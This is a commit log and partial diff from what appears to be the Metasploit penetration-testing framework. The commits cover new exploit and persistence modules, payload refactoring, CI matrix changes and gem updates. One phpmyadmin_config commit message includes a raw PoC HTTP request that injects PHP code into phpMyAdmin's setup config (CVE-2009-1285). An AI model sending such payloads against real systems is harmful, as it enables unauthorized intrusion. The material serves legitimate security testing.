Diego Ledda 9d81fe0f2e Apply suggestion from @smcintyre-r7
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2026-04-17 11:26:11 +02:00
Diego Ledda b3ef4db890 Apply suggestion from @smcintyre-r7
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2026-04-17 11:25:14 +02:00
Diego Ledda 2af3bbf34e Update lib/msf/core/payload/windows/x64/block_api_x64.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2026-04-17 11:23:28 +02:00
Takah1ro 3cfbb90b0f Fix bug 2026-04-17 07:31:25 +09:00
Takahiro Yokoyama 4c5ed36c88 Update modules/exploits/multi/http/langflow_rce_cve_2026_27966.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2026-04-17 07:10:53 +09:00
Christophe De La Fuente 04ffe3ce3b MCP Server, specs and documentation 2026-04-16 19:31:35 +02:00
bcoles 6821066217 Add find_writable_directories to Msf::Post::File
Add a method to discover writable directories on Unix targets using the
`find` command. This is useful in post-exploitation scenarios where a
module needs to locate a writable staging path.

Parameters:
- path: base directory to search (default: /)
- max_depth: find -maxdepth limit (default: 2)
- timeout: maximum seconds for cmd_exec to wait (default: 15)

Raises on Windows sessions. Returns an array of absolute paths, or nil
on failure. Non-absolute lines (e.g. find error messages) are filtered
from the output.
2026-04-17 02:31:19 +10:00
jenkins-metasploit 37ff9f8530 automatic module_metadata_base.json update 2026-04-16 16:00:17 +00:00
adfoster-r7 e7c5e0e4a3 Merge pull request #21238 from bcoles/loongarch64-chmod
Add Linux LoongArch64 chmod payload
2026-04-16 16:51:00 +01:00
adfoster-r7 0644f27cb6 Add module documentation, tests, and misc feedback 2026-04-16 16:18:46 +01:00
jenkins-metasploit 2b37cbe35e Bump version of framework to 6.4.129 2026-04-16 13:29:17 +00:00
adfoster-r7 c887384546 Merge pull request #21275 from adfoster-r7/improve-mongobleed-checks
Improve mongobleed checks
2026-04-16 14:22:51 +01:00
Takah1ro 4973d666ff Relocate json to an external file 2026-04-16 21:57:07 +09:00
dledda-r7 953d0343dd fix: updated cache size after blockapi changes 2026-04-16 08:50:42 -04:00
dledda-r7 a50041b697 feat: update register usage for block API calls to use r10d in various payloads 2026-04-16 08:37:32 -04:00
Takahiro Yokoyama b917de89c3 Merge branch 'rapid7:master' into langflow_rce_cve_2026_27966 2026-04-16 20:58:02 +09:00
jenkins-metasploit 03e8567559 automatic module_metadata_base.json update 2026-04-16 11:11:15 +00:00
adfoster-r7 5b58f289e5 Merge pull request #21304 from adfoster-r7/improve-auxiliary-check-code-messages
Improve auxiliary check code messages
2026-04-16 12:02:42 +01:00
adfoster-r7 31ef5e03b5 Improve auxiliary check code messages 2026-04-16 11:22:51 +01:00
dledda-r7 340a72438b feat: refactor exit function handling to use block_api_hash 2026-04-16 04:24:44 -04:00
dledda-r7 2be47dbe9c feat: change exitfunc_helper to be accessible 2026-04-16 04:24:44 -04:00
dledda-r7 b8f8366ff1 docs: adding small comment to call out block api randomization 2026-04-16 04:24:43 -04:00
dledda-r7 1f8bb3b52a feat: refactor exit function handling to use helper method for block api randomization 2026-04-16 04:24:43 -04:00
dledda-r7 3233e3c011 feat: block api iv randomization in PrependMigrate 2026-04-16 04:24:43 -04:00
dledda-r7 8a63392284 feat: block api randomization for x86 payloads 2026-04-16 04:24:42 -04:00
dledda-r7 a54f29f02b feat: block api randomization for x64 payloads 2026-04-16 04:24:42 -04:00
dledda-r7 ab0fdf96f8 feat: block api randomization for windows/x64/reverse_tcp 2026-04-16 04:24:41 -04:00
jenkins-metasploit 3106aef203 automatic module_metadata_base.json update 2026-04-16 08:21:35 +00:00
Diego Ledda 214256ffe8 Merge pull request #21310 from zeroSteiner/fix/remove-eshell-payloads
Remove the encrypted shell payload and libs
2026-04-16 04:13:02 -04:00
BootstrapBool d530230b5f Reflects module name change in documentation. 2026-04-15 16:16:16 -04:00
BootstrapBool f52184a566 Renames module
Places rails version check after downgrading concurrent-ruby
2026-04-15 16:07:15 -04:00
bootstrapbool 1bbfb699e1 Ensure curl
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2026-04-15 15:49:49 -04:00
bootstrapbool eddd3fecff Always output logs pertaining to version
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2026-04-15 15:48:40 -04:00
jenkins-metasploit 796ffb6331 automatic module_metadata_base.json update 2026-04-15 19:31:55 +00:00
Brendan c17c301e36 Merge pull request #21095 from LucasCsmt/multi/http/churchcrm_db_restore_rce
Adds exploit module for ChurchCRM authenticated RCE (CVE-2025-68109)
2026-04-15 14:22:56 -05:00
jenkins-metasploit aad2c79603 automatic module_metadata_base.json update 2026-04-15 17:39:53 +00:00
adfoster-r7 cb45c37eea Merge pull request #21309 from sfewer-r7/fortiweb-fix1
Improve the fortinet_fortiweb_create_admin aux module check method
2026-04-15 18:31:03 +01:00
Spencer McIntyre 91633fdad7 Remove the encrypted shell payload and libs 2026-04-15 12:43:29 -04:00
sfewer-r7 ad1dac2a5b fix false posatives in the check method by implementing the same check logic as modules/exploits/linux/http/fortinet_fortiweb_rce.rb 2026-04-15 17:37:29 +01:00
Diego Ledda c81a2ee9e3 Merge pull request #21287 from zeroSteiner/fix/exe-compat
Fix EXE template compatibility with Windows Server 2000
2026-04-15 11:30:34 -04:00
adfoster-r7 0ba59a1254 Update documentation/modules/exploit/multi/http/churchcrm_db_restore_rce.md
Co-authored-by: Brendan <bwatters@rapid7.com>
2026-04-15 16:07:43 +01:00
adfoster-r7 7f413ef68f Merge pull request #21291 from sjanusz-r7/add-notes-to-module-info-over-rpc
Return notes for module over RPC
2026-04-15 14:33:30 +01:00
adfoster-r7 c3cc091a2f Merge pull request #21289 from sjanusz-r7/rpc-hosts-returns-comments
Return comments for hosts over RPC
2026-04-15 14:31:35 +01:00
adfoster-r7 d2f350f627 Merge pull request #21290 from dledda-r7/fix/payload-cached-size-debug
Fix annoying bug for payload cached size
2026-04-14 22:58:19 +01:00
Spencer McIntyre 862b1e1aaa Add the test since it'll work now 2026-04-14 17:28:44 -04:00
Spencer McIntyre e8e5362aa9 Bump rex-bin_tools to 0.1.16 2026-04-14 17:28:35 -04:00
jenkins-metasploit e2dff5cc50 automatic module_metadata_base.json update 2026-04-14 20:15:55 +00:00
Diego Ledda 1d5eae0f5b Merge pull request #21034 from Chocapikk/add-module-opendcim-sqli-rce
Add openDCIM install.php SQLi to RCE module
2026-04-14 16:04:13 -04:00
Diego Ledda b13b669aaa Add MeterpreterDebugBuild option to payload options
Added 'MeterpreterDebugBuild' option to payload options.
2026-04-14 21:46:21 +02:00
Diego Ledda addcd69205 Merge pull request #20933 from madefourit/persis_pwrshell_profile
Windows Persistence: Powershell Profile
2026-04-14 15:43:06 -04:00
Diego Ledda 31a2de9562 Merge pull request #20839 from h00die/bits
New persistence module: Microsoft Bits
2026-04-14 15:42:55 -04:00
Spencer McIntyre b3d367f1bf Merge pull request #21085 from dledda-r7/issue-19309
Update block-api to prepare for a random IV
2026-04-14 15:35:10 -04:00
Spencer McIntyre 53f8053b77 Merge pull request #21255 from mxnvel/payloads-multi-python-support
multi python support for cmd/unix/reverse_python and cmd/unix/reverse_python_ssl
2026-04-14 15:25:09 -04:00
bootstrapbool 5d5896d3a1 Formatting Fix/Improvement 2026-04-14 19:18:54 +00:00
adfoster-r7 43ffa96f34 Merge pull request #21298 from bwatters-r7/fix/marshal_validator
Fix sign-extension formula in marshal validator
2026-04-14 20:14:09 +01:00
bootstrapbool fcdb16e69a Document setup process for Camaleon CMS 2026-04-14 19:12:56 +00:00
bwatters-r7 b4084eaaa6 Fix sign-extension formula 2026-04-14 12:56:32 -05:00
sjanusz-r7 4383ad6673 Return comments for hosts over RPC 2026-04-14 17:25:18 +01:00
g0t mi1k 9f480e55d5 phpmyadmin_config: Misc feedback updates
Sorry its thrown all in a big commit and not splitting up.
2026-04-14 16:35:13 +01:00
Spencer McIntyre 8dab0bbba0 Add tests so this doesn't break again in the future 2026-04-14 11:32:38 -04:00
jenkins-metasploit 9f1dc3d9f9 automatic module_metadata_base.json update 2026-04-14 15:19:17 +00:00
Diego Ledda 7ea55d86d9 fix: update from srvhost to srvhost_addr 2026-04-14 17:16:54 +02:00
Diego Ledda 976f5a8e66 fix: remove unecessary srvhost check 2026-04-14 17:14:51 +02:00
Brendan ee5ba948d7 Merge pull request #21286 from Hemang360/add-def_mkdir-toggle
Add cleanup toggle to file mixin mkdir method
2026-04-14 10:10:09 -05:00
Brendan 4c421532d6 Merge pull request #21288 from g0tmi1k/AutoCheck
Add AutoCheck to various exploit modules
2026-04-14 09:59:25 -05:00
jenkins-metasploit dbcb702e1d automatic module_metadata_base.json update 2026-04-14 14:41:11 +00:00
msutovsky-r7 5b6c2be9d1 Land #21003, unifies Selenium Firefox and Chrome modules
Unified Selenium Grid/Selenoid RCE with Firefox + Chrome auto-detection
2026-04-14 16:32:06 +02:00
Spencer McIntyre b6dd5bbcfc Switch to building with powershell and add patch
Need to patch the headers for compatibility with Server 2000
2026-04-14 10:31:29 -04:00
Diego Ledda 1b195b1406 fix: removing ARCH_AARCH64 from powershell_profile persistence 2026-04-14 09:45:47 -04:00
madefourit 9433413166 final module fixes 2026-04-14 09:45:46 -04:00
madefourit a94dd32492 final module 2026-04-14 09:45:46 -04:00
madefourit 05914feb4d module docs and description_formatted 2026-04-14 09:45:45 -04:00
madefourit 0ba93b6ae3 module docs and description 2026-04-14 09:45:45 -04:00
h00die 14cd7fad47 module docs 2026-04-14 09:45:44 -04:00
h00die 4474c77ca3 update pshell module 2026-04-14 09:45:44 -04:00
h00die 9e506cc5a0 update pshell module 2026-04-14 09:45:43 -04:00
h00die 9189436a42 payload debugging 2026-04-14 09:45:43 -04:00
h00die 3c341e3b72 update pshell module 2026-04-14 09:45:42 -04:00
madefourit c03a9a5ce2 update modules_2 2026-04-14 09:45:42 -04:00
madefourit f255fe398d update modules 2026-04-14 09:45:41 -04:00
madefourit 17a5daabf1 inital modules 2026-04-14 09:45:41 -04:00
madefourit e2810a791b Add Profile and initial skeleton 2026-04-14 09:45:40 -04:00
Diego Ledda 18c11b17a9 Update modules/exploits/windows/persistence/bits.rb 2026-04-14 14:34:00 +02:00
dwelch-r7 d8687d43dd Merge pull request #21295 from adfoster-r7/remove-ip-requirements-from-markdown-files
Remove IP requirements from markdown files
2026-04-14 13:26:06 +01:00
adfoster-r7 7dcb339a16 Remove IP requirements from markdown files 2026-04-14 13:19:17 +01:00
adfoster-r7 61cb83943a Merge pull request #21293 from dwelch-r7/remove-old-postgres-version
bump postgres from 9.6 to 14.19 for gem tests
2026-04-14 12:43:33 +01:00
Dean Welch 9f4a68895a bump postgres from 9.6 to 14.19 for gem tests 2026-04-14 12:42:21 +01:00
Chocapikk 62e2c336d0 Remove old Selenium modules replaced by unified selenium_greed_rce 2026-04-14 12:32:51 +02:00
sjanusz-r7 6b174c1022 Return notes for module over RPC 2026-04-14 11:25:27 +01:00
dwelch-r7 0d54137862 Merge pull request #21276 from dwelch-r7/rails-8-gem-ci-test
Add rails 8 to shared gem ci run
2026-04-14 11:18:12 +01:00
Dean Welch 65271019f3 expose rails version env variable in shared tests 2026-04-14 11:12:31 +01:00
dledda-r7 70f470c537 fix: set MeterpreterDebugBuild to false for stageless meterpreter payloads in PayloadCachedSize class 2026-04-14 06:11:14 -04:00
dledda-r7 7f0b8c83a1 fix: update CachedSize 2026-04-14 06:06:47 -04:00
Martin Sutovsky db0fe4aaef Fixes Python payload delivery for Firefox profile 2026-04-14 10:17:04 +02:00
g0t mi1k 71f37467d7 http_login: Make rubocop happy 2026-04-14 06:28:55 +01:00
g0t mi1k 3fea1d279d http_login: Be more verbose 2026-04-14 06:28:55 +01:00
g0t mi1k 8bb476a7f5 WebDAV: Misc formatting 2026-04-14 06:28:55 +01:00
g0t mi1k d2ea521ba3 WebDAV: Add check() function 2026-04-14 06:28:45 +01:00
g0t mi1k 10fd6b9ef8 Add AutoCheck to various exploit modules 2026-04-14 06:21:15 +01:00
jenkins-metasploit 57f5fa3559 Bump version of framework to 6.4.128 2026-04-13 22:35:50 +00:00
adfoster-r7 89d0115185 Improve mongobleed checks 2026-04-13 21:53:42 +01:00
Hemang360 e0c3ecfd74 Add tests for mkdir method 2026-04-14 02:18:15 +05:30
Hemang360 edbd3d5cd1 Add cleanup toggle to mkdir method 2026-04-14 02:04:38 +05:30
Chocapikk d84b09a16e Fix: Wrap Python payload for Firefox profile handler
The Firefox exploit path delivers payloads via a MIME handler mapped to
/bin/sh. When using the default Python target, the raw Python payload
would fail to execute in /bin/sh. Wrap it with python3 -c so the shell
can invoke it correctly.
2026-04-13 17:57:48 +02:00
dledda-r7 e69ed8d18b build: update rex-text gem version to 0.2.62 2026-04-13 11:17:29 -04:00
Dean Welch 9eae158fa4 Add configurable rails version to shared gem ci run 2026-04-13 14:12:25 +01:00
adfoster-r7 9dbea3d5e2 Fix msftidy heading in codeblock edgecase 2026-04-13 13:51:28 +01:00
dledda-r7 f7b0076679 fix: revert Gemfile and Gemfile.lock 2026-04-13 08:42:27 -04:00
h00die e28969980d Update modules/exploits/windows/persistence/bits.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2026-04-13 06:15:03 -04:00
sjanusz-r7 4281e713a0 Fix syscall_inject compilation errors on MacOS with MinGW 15 2026-04-13 10:25:27 +01:00
h00die a4d84fa734 Merge branch 'rapid7:master' into bits 2026-04-13 05:14:48 -04:00
BootstrapBool dc82a22939 Removes unnecessary print 2026-04-11 20:41:54 -04:00
BootstrapBool 8684cec986 Corrects check method 2026-04-11 20:28:28 -04:00
BootstrapBool d441c07408 Corrects documentation
Removes unnecessary options

Removes credentials from logs

Refactors check method

Makes use of Rex::Version

Removes get_base_url in favor of relative filepaths in send_request_cgi

Other small changes
2026-04-11 19:31:22 -04:00
h00die 8957e4470c Merge pull request #38 from dledda-r7/collab/feat/persistence-bits
fix bits persistence to be used with HttpServer
2026-04-10 14:16:03 -04:00
h00die 7f041fd4c9 Merge branch 'bits' into collab/feat/persistence-bits 2026-04-10 13:20:26 -04:00
h00die a79fbd7889 Update modules/exploits/windows/persistence/bits.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2026-04-10 13:14:33 -04:00
dledda-r7 55f0124e34 fix: fix Gemfile Gemfile.lock 2026-04-10 10:53:26 -04:00
dledda-r7 c6346bcd05 fix: update Gemfile and Gemfile.lock 2026-04-10 10:53:26 -04:00
dledda-r7 e0c28496b9 fix: update CachedSize 2026-04-10 10:53:25 -04:00
dledda-r7 929b79a346 fix: update cache size, fix bug in reverse pipe and tcp x64 2026-04-10 10:53:25 -04:00
dledda-r7 91c96c7e46 fix: updated cache size after blockapi changes 2026-04-10 10:53:24 -04:00
Diego Ledda c0e073b5f8 Apply suggestion from @dledda-r7 2026-04-10 10:53:24 -04:00
Diego Ledda e0f99e0c5c Apply suggestion from @dledda-r7 2026-04-10 10:53:24 -04:00
dledda-r7 6e4be026a2 fix(block_api): block-api graphml file using unicode_string->length 2026-04-10 10:53:23 -04:00
dledda-r7 46fbe0bfb8 fix(shellcode): updating block-api to use Length instead of MaximumLength 2026-04-10 10:53:22 -04:00
Spencer McIntyre c3c6a21e55 Update the block API hashing algorithm
Allow the block API hashing algorithm to accept an IV
2026-04-10 10:53:22 -04:00
Takah1ro 2f15039985 Lint formatting 2026-04-10 23:44:26 +09:00
mxnvel 2f8d66bc6c Change nil check to blank in reverse_python_ssl.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2026-04-09 22:08:26 +02:00
mxnvel 63dd2ab31a Change nil check to blank in reverse_python.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2026-04-09 22:07:57 +02:00
Takah1ro 4dcf67865a minor change 2026-04-09 22:18:01 +09:00
Takah1ro a6d7502c8d Add langflow_rce_cve_2026_27966 module 2026-04-09 22:12:10 +09:00
dledda-r7 4a8adacf29 fix: fix bits persistence to be used with HttpServer 2026-04-09 07:13:26 -04:00
g0t mi1k 4f38ec3393 WebDAV: Improve response 2026-04-08 17:03:16 +01:00
g0t mi1k 0f4db29f2b WebDAV: Creds is optional 2026-04-08 17:03:16 +01:00
g0t mi1k 328c2e5845 WebDAV: Update workspace 2026-04-08 17:03:16 +01:00
g0t mi1k 918281a5dc WebDAV: Clean up after exploiting 2026-04-08 17:03:16 +01:00
g0t mi1k 6603450572 WebDAV: PATH -> URI 2026-04-08 17:03:16 +01:00
g0t mi1k 2979dafdf4 WebDAV: Make rubocop happy 2026-04-08 17:03:07 +01:00
g0t mi1k 437b8a7cf6 WebDAV isn't just for Windows 2026-04-08 16:36:35 +01:00
jeanmtr b3e456d661 made the PythonPath option optional 2026-04-08 12:59:40 +02:00
jeanmtr c4709e7692 forgot to make the change on both the ssl and non ssl version 2026-04-08 12:59:40 +02:00
jeanmtr 5dd4f4e9ce fix: make PythonPath blank by default auto-detection fallback 2026-04-08 12:59:40 +02:00
jeanmtr f7d7619051 added multi python support for payloads that lacked it 2026-04-08 12:59:40 +02:00
bcoles 6ba950c526 Add Linux LoongArch64 chmod payload 2026-04-06 11:40:14 +10:00
bcoles 235da57b97 Module metadata: string dedup, shared empty containers, platform caching 2026-04-04 12:14:17 +11:00
bcoles 3ac30e09cc Module metadata: string dedup, shared empty containers, platform caching 2026-04-04 11:54:38 +11:00
g0t mi1k 38d8ea7937 phpmyadmin_config: Make rubocop happy 2026-03-31 14:49:03 +01:00
g0t mi1k e025f94f78 phpmyadmin_config: Add report_service() support 2026-03-31 07:07:49 +01:00
g0t mi1k 3a1d34e300 phpmyadmin_config: Ordering matters (check vs exploit) 2026-03-31 07:07:49 +01:00
g0t mi1k 18e4c8e28d phpmyadmin_config: Misc ruby format tweaks
This is based on MR feedback
2026-03-31 07:07:49 +01:00
g0t mi1k 8938ee75e5 phpmyadmin_config: Another <= v3.1.3.1 (CVE-2009-1285)
CVE-2009-1285 has two vulns for v3.1.x

## PoC

```
POST /setup/config.php?type=post HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Content-Type: application/x-www-form-urlencoded
Cookie: phpMyAdmin=3d88785a775a6bdd4a4eee4d7ce5fe7b99a802bb; pma_lang=en-utf-8; pma_charset=utf-8; pma_mcrypt_iv=Mc1O5ByaScc%3D; phpMyAdmin=aeb5279f061348c557a7c366abb67deefe14b535
Content-Length: 109

token=e555e9ff29b23a81ff9d20affa616a8b&eol=unix&textconfig=%3C%3Fphp+phpinfo%28%29%3B+%3F%3E&submit_save=Save
```
2026-03-31 07:07:49 +01:00
g0t mi1k cc3f76d586 phpmyadmin_config: Reformat code 2026-03-31 07:07:49 +01:00
g0t mi1k bf28b0d3e7 phpmyadmin_config: Add v3.1.x
As it turns out, this is part of CVE-2009-1285 (<= v3.1.3.1)
This does not exploit CVE-2009-1151 for v3.1.x
2026-03-31 07:07:49 +01:00
g0t mi1k d6914f0812 phpmyadmin_config: Reformat exploit 2026-03-31 07:07:41 +01:00
g0t mi1k 6cc3e391f7 phpmyadmin_config: Add check 2026-03-31 07:05:54 +01:00
BootstrapBool 31b58e7deb msftidy changes 2026-03-14 23:38:04 -04:00
BootstrapBool 5b9dc0f5ed Merge branch 'master' into camaleon_cms_cve_2024_46987 2026-03-14 23:33:27 -04:00
BootstrapBool aa2725150c Removes python camaleon module, adds ruby camaleon module
Updates documentation
2026-03-14 23:32:44 -04:00
Valentin Lobstein ee2ee34b9e Refactor: Extract shared logic in exploit method for openDCIM module
Factor out duplicated print_status and backup_config calls, extract
trigger_exec and cleanup_config helpers for readability.
2026-03-12 20:56:33 +01:00
Valentin Lobstein f34a0b5d31 Fix: Address PR review feedback for openDCIM module
Add ARTIFACTS_ON_DISK side effect and fetch payload note in docs.
2026-03-12 20:44:19 +01:00
LucasCsmt 3f25048d9b Merge branch 'master' into multi/http/churchcrm_db_restore_rce 2026-03-11 09:41:33 +01:00
LucasCsmt 4ebef4b3e2 Changing a letter in order to have conformity 2026-03-11 09:14:14 +01:00
BootstrapBool 25f6f6b7ae Moves camaleon_traversal module to auxiliary/gather
Adds missing options to documentation

Makes verbose option not required

Changes VHOST option type - some reason "address" type domain names were
marked as "invalid"
2026-03-07 18:36:36 -05:00
BootstrapBool d65cc5694f Adds camaleon_traversal module/documentation 2026-03-06 23:16:52 -05:00
LucasCsmt 4ca2b22dff Adding documentation to the module 2026-03-06 10:18:58 +01:00
LucasCsmt 6026e9f971 Correcting the version and the CVE code 2026-03-06 10:18:25 +01:00
LucasCsmt 9d7556e3a8 Altering the 'start_service' emplacement 2026-03-04 15:38:10 +01:00
LucasCsmt 4a0957e68b Altering the status code check 2026-03-04 15:30:56 +01:00
LucasCsmt c137331090 Enhancing the check method 2026-03-04 15:29:00 +01:00
LucasCsmt 720004a33e Adding upload of payload and execution 2026-03-04 15:21:12 +01:00
LucasCsmt 040cabd249 Adding a function that get the cookie 2026-03-04 13:47:06 +01:00
LucasCsmt 8dbc764730 Adding a check function and build_payload
I added a check function that check if the server is accessible and
vulnerable. I added also a build_payload function that build the php
file that will be executed by the vulnerable host.
2026-03-04 10:39:59 +01:00
LucasCsmt 2d58156aaa Initialisation of the module file
This commit contain the initialisation of the module file including a
description, all the target and options that this module will need.
2026-03-02 10:47:07 +01:00
Valentin Lobstein 4aeacb7456 Fix: CmdStager compatibility with dash shell in openDCIM module
PHP exec() uses sh -c which is dash on Ubuntu. Dash echo does not
support -en flag, breaking the echo CmdStager flavor. Switch to
printf (octal) and bourne (base64) flavors which work in dash.

Also split backup_and_poison into backup_config and poison_dot so
CmdStager chunks don't overwrite the backup table, and escape
backslashes in SQL to preserve octal/hex sequences through MySQL.
2026-02-28 21:39:16 +01:00
Valentin Lobstein 2d8c3d69ed Feat: Add openDCIM install.php SQLi to RCE module
Exploits CVE-2026-28515, CVE-2026-28516, CVE-2026-28517 to chain
missing authorization, SQL injection, and command injection in
openDCIM's install.php for remote code execution.
2026-02-28 21:13:51 +01:00
Valentin Lobstein 638b47ebf3 Feat: Unified Selenium Grid/Selenoid RCE with Firefox + Chrome auto-detection
Replace separate Chrome and Firefox modules with a single module that
auto-detects available browsers and picks the best attack vector.
Firefox profile handler preferred (unpatched on all Grid versions).
Remove incorrect CSRF framing, sudo wrapper, add FileDropper and
Selenoid support.
2026-02-21 14:41:42 +01:00
Valentin Lobstein 3dd3661352 Feat: Add Selenoid support to Selenium Grid Chrome RCE module 2026-02-21 12:34:09 +01:00
Valentin Lobstein 9e72f45349 Feat: Add Selenium Grid Chrome binary override RCE module 2026-02-21 12:07:08 +01:00
h00die 2689c6c03b fix compatibility with session.sys 2026-02-17 16:38:22 -05:00
h00die 822227ddf2 Update modules/exploits/windows/persistence/bits.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2026-01-14 11:20:23 -05:00
h00die 08ce855fa9 Update modules/exploits/windows/persistence/bits.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2026-01-14 11:20:08 -05:00
h00die 7017273a84 bits persistence works 2026-01-01 19:55:22 -05:00
h00die 47c47df0bb bits persistence works 2026-01-01 08:28:03 -05:00
h00die e778f40055 bits persistence works but no delay happening 2026-01-01 08:05:41 -05:00
1522 changed files with 32914 additions and 8662 deletions
+31 -5
View File
@@ -12,9 +12,37 @@ on:
required: false
default: "[]"
type: string
additional_rails_versions:
description: 'Additional Rails version requirements as a JSON array (for example: ["~> 8.1.0"])'
required: false
default: "[]"
type: string
# Caller example:
# with:
# additional_rails_versions: '["~> 8.1.0", "~> 8.2.0"]'
jobs:
prepare_matrix:
runs-on: ubuntu-latest
outputs:
rails_versions: ${{ steps.merge_rails_versions.outputs.rails_versions }}
steps:
- name: Build Rails version matrix
id: merge_rails_versions
run: |
default_rails_versions='["~> 7.0.0","~> 7.1.0","~> 7.2.0"]'
additional_rails_versions='${{ inputs.additional_rails_versions }}'
rails_versions=$(jq -cn \
--argjson defaults "$default_rails_versions" \
--argjson extras "$additional_rails_versions" \
'$defaults + $extras | unique')
echo "rails_versions=$rails_versions" >> "$GITHUB_OUTPUT"
shell: bash
test:
needs: prepare_matrix
runs-on: ${{ matrix.os }}
timeout-minutes: 40
@@ -25,18 +53,16 @@ jobs:
- '3.2'
- '3.3'
- '3.4'
rails:
- '~> 7.0.0'
- '~> 7.1.0'
- '~> 7.2.0'
rails: ${{ fromJSON(needs.prepare_matrix.outputs.rails_versions) }}
postgres:
- '9.6'
- '14.19'
- '16.8'
os:
- ubuntu-latest
env:
RAILS_ENV: test
RAILS_VERSION: ${{ matrix.rails }}
name: ${{ matrix.os }} - Ruby ${{ matrix.ruby }} - Rails ${{ matrix.rails }} - PostgreSQL ${{ matrix.postgres }}
steps:
@@ -284,21 +284,21 @@ jobs:
run: |
Set-Location "C:\Program Files (x86)\Microsoft Visual Studio\Installer\"
dir
$InstallPath = "C:\Program Files\Microsoft Visual Studio\2022\Enterprise"
$WorkLoads = '--config "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter\vs-configs\vs2022.vsconfig"'
$Arguments = ('/c', "vs_installer.exe", 'modify', '--installPath', "`"$InstallPath`"", $WorkLoads, '--quiet', '--norestart', '--nocache')
$process = Start-Process -FilePath cmd.exe -ArgumentList $Arguments -Wait -PassThru -WindowStyle Hidden
if ($process.ExitCode -eq 0) {
Write-Host "components have been successfully added"
} else {
Write-Host "components were not installed"
exit 1
}
Set-Location "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter"
$r = Invoke-Command -ScriptBlock { cmd.exe /c 'git submodule init && git submodule update' }
Write-Host $r
$r = Invoke-Command -ScriptBlock { cmd.exe /c '"C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\VsDevCmd.bat" && make.bat' }
Write-Host $r
# $InstallPath = "C:\Program Files\Microsoft Visual Studio\2022\Enterprise"
# $WorkLoads = '--config "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter\vs-configs\vs2022.vsconfig"'
# $Arguments = ('/c', "vs_installer.exe", 'modify', '--installPath', "`"$InstallPath`"", $WorkLoads, '--quiet', '--norestart', '--nocache')
# $process = Start-Process -FilePath cmd.exe -ArgumentList $Arguments -Wait -PassThru -WindowStyle Hidden
# if ($process.ExitCode -eq 0) {
# Write-Host "components have been successfully added"
# } else {
# Write-Host "components were not installed"
# exit 1
# }
# Set-Location "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter"
# $r = Invoke-Command -ScriptBlock { cmd.exe /c 'git submodule init && git submodule update' }
# Write-Host $r
# $r = Invoke-Command -ScriptBlock { cmd.exe /c '"C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\VsDevCmd.bat" && make.bat' }
# Write-Host $r
working-directory: metasploit-payloads
- name: Build Windows payloads via Visual Studio 2025 Build (Windows)
+1 -1
View File
@@ -53,7 +53,7 @@ Metasploit Framework is an open-source penetration testing and exploitation fram
- when opening a file, make sure the file exists first
- when checking for a string in a response - will it always be in english?
- Ensure hardcoded strings being regex'ed will be consistent across multiple versions
- Use the TEST-NET-1 range for example / non-routeable IP address: `192.0.2.0`
- Use the TEST-NET-1 range for example / non-routeable IP addresses in unit tests and spec files: `192.0.2.0`. Local/private IPs are fine in module documentation scenarios.
- Use fetch payload instead of command stagers when only options that request the stage are available (i.e. dont use a cmd stager and only allow curl/wget).
- Define bad characters instead of explicitly base-64 encoding payloads
- Use `ARCH_CMD` payloads instead of command stagers when only curl/wget and other download mechanisms would be available
+2 -1
View File
@@ -53,5 +53,6 @@ group :test do
gem 'allure-rspec'
# Manipulate Time.now in specs
gem 'timecop'
# stub and set expectations on HTTP requests
gem 'webmock', '~> 3.18'
end
+27 -12
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.4.127)
metasploit-framework (6.4.133)
aarch64
abbrev
actionpack (~> 7.2.0)
@@ -42,6 +42,7 @@ PATH
jsobfu
json
lru_redux
mcp (= 0.13.0)
metasm
metasploit-concern
metasploit-credential (>= 6.0.21)
@@ -223,6 +224,9 @@ GEM
concurrent-ruby (1.3.5)
connection_pool (2.5.4)
cookiejar (0.3.4)
crack (1.0.1)
bigdecimal
rexml
crass (1.0.6)
csv (3.3.2)
daemons (1.4.1)
@@ -281,6 +285,7 @@ GEM
gyoku (1.4.0)
builder (>= 2.1.2)
rexml (~> 3.0)
hashdiff (1.2.1)
hashery (2.1.2)
hrr_rb_ssh (0.4.2)
hrr_rb_ssh-ed25519 (0.4.2)
@@ -304,6 +309,9 @@ GEM
jsobfu (0.4.2)
rkelly-remix
json (2.15.1)
json-schema (6.2.0)
addressable (~> 2.8)
bigdecimal (>= 3.1, < 5)
language_server-protocol (3.17.0.5)
license_finder (5.11.1)
bundler
@@ -322,6 +330,8 @@ GEM
crass (~> 1.0.2)
nokogiri (>= 1.12.0)
lru_redux (1.1.0)
mcp (0.13.0)
json-schema (>= 4.1)
memory_profiler (1.1.0)
metasm (1.0.5)
metasploit-concern (5.0.5)
@@ -331,7 +341,7 @@ GEM
mutex_m
railties (~> 7.0)
zeitwerk
metasploit-credential (6.0.21)
metasploit-credential (6.0.23)
bigdecimal
csv
drb
@@ -353,17 +363,17 @@ GEM
mutex_m
railties (~> 7.0)
metasploit-payloads (2.0.245)
metasploit_data_models (6.0.15)
activerecord (~> 7.0)
activesupport (~> 7.0)
metasploit_data_models (6.0.18)
activerecord (>= 7.0, < 8.1)
activesupport (>= 7.0, < 8.1)
arel-helpers
bigdecimal
drb
metasploit-concern
metasploit-model (~> 5.0.4)
